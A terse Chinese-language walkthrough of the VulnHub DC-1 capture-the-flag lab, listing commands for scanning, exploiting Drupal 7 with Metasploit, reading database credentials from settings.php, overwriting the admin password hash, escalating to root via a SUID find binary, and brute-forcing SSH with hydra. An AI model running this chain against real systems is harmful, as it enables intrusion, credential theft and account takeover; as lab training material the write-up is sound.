DC-1通关讲解

综合靶场 DC-1

先下载靶场环境

https://www.vulnhub.com/entry/dc-1,292/

进入虚拟机查看IP 

nmap -sP 1 XXX.XXX.XXX.XXX /

nmap -A -p- -v 192.168.132.129

访问web站点

searchsploit  drupal 7

Metersploit 进入msf控制台

search drupa

选择模块测试 Use 1

Shell

执行whoami

进入home 发现flag4.txt

python -c "import pty;pty.spawn('/bin/bash')"

查看www目录找flag4.txt

/var/www/sites/default/settings.php

cat /var/www/sites/default/settings.php

Show databases；

Use drupaldb

select * from users;

Quit;站点路径下执行

php scripts/password-hash.sh＋新密码

update users set pass="$S$DP1Ap9LH4p/fiYkxkQsYJfj/rc7pmEzd17IAimm0pDYMcpVTT2tw " where name="admin";

登录站点账号；admin 密码；123

find / -perm -4000 2>/dev/null

touch 123

ls

find / -name 123 -exec "whoami" \;

find ./ -name 123 -exec "/bin/sh" \;  

whoami

ls

cd /root

ls

cat /etc/passwd

hydra -l flag4 -P password.lst ssh://192.168.132.129